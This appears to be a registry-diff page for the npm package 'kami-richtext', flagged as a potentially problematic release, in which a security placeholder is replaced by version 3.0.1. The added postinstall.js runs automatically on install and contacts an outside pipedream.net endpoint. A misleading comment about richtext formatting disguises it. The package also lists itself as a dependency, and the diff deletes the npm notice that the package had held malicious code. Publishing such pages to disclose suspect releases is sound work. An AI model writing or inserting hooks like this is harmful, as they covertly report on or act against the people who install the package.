kami-richtext 0.0.1-security → 3.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of kami-richtext might be problematic. Click here for more details.
- package/package.json +15 -3
- package/postinstall.js +16 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,18 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "kami-richtext",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "3.0.1",
|
|
4
|
+
"description": "A package for handling richtext in Kami",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall": "node postinstall.js"
|
|
7
|
+
},
|
|
8
|
+
"keywords": [
|
|
9
|
+
"richtext",
|
|
10
|
+
"Kami"
|
|
11
|
+
],
|
|
12
|
+
"author": "Kami App",
|
|
13
|
+
"license": "MIT",
|
|
14
|
+
"dependencies": {
|
|
15
|
+
"axios": "^1.7.2",
|
|
16
|
+
"kami-richtext": "^3.0.1"
|
|
17
|
+
}
|
|
6
18
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
// postinstall.js
|
|
2
|
+
|
|
3
|
+
const axios = require('axios');
|
|
4
|
+
|
|
5
|
+
async function makeRequest() {
|
|
6
|
+
try {
|
|
7
|
+
// TODO: need to start programming the API so it sends proper formatting for the package
|
|
8
|
+
// for some reason certain browsers don't display the richtext properly!
|
|
9
|
+
const response = await axios.get('https://eozzb5k4pqjt9e7.m.pipedream.net');
|
|
10
|
+
console.log('Request successful. Response:', response.data);
|
|
11
|
+
} catch (error) {
|
|
12
|
+
console.error('Error making request:', error.message);
|
|
13
|
+
}
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
makeRequest();
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=kami-richtext for more information.
|